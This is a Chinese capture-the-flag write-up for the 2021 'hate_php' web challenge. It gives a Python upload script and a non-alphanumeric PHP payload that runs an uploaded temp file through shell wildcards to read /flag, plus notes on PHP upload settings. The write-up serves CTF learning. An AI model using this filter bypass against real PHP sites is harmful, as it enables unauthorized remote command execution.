2021-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php
打开网址直接告诉你过滤的代码,把字母数字和$、_、@都过滤了,直接放弃 然后百度搜了这道题的答案,感觉发现了新大陆一样,下面是相关的几篇文章,强烈推荐阅读: 过滤了大写字母和数字的绕过方法: https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
过滤了大小写字母、数字、‘$’和‘_’ https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list
看完了这两篇文章这道题就基本解决了 先看本题的思路,同样是上传一个shell命令文件到网站的tmp目录下,用linux系统的特性构造payload执行这个文件 下面是简单的利用代码
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'
}
payload = '?code=?><?=`. /???/????????[?-[]`;?>'
url = 'http://challenge-25e97be714485b25.sandbox.ctfhub.com:10800/' + payload
files = {
'file':open('./payload.txt','r')
}
proxy = {
'http':'http://127.0.0.1:8888',
'https':'http://127.0.0.1:8888'
}
response = requests.post(url=url, headers=headers, files=files, proxies=proxy, verify=False).text
print(response)
上传的payload文件的内容
cat /flag
这里有个问题就是上传的文件在服务端会给一个随机的名称,所以可能不会一次就成功,需要多找几次,结果如下 这里是我做题的时侯的一个问题的记录
- 为什么php可以接受post请求上传的文件?
查阅资料发现php的配置有一个选项 查看一下服务器的php配置文件的信息,查看phpinfo的信息 通过修改payload里面的内容如下可以查看到phpinfo的信息(可以尝试其他方式) 从结果可以看到一些重要的信息 file_uploads = on 说明php文件可以接受post的文件上传请求
|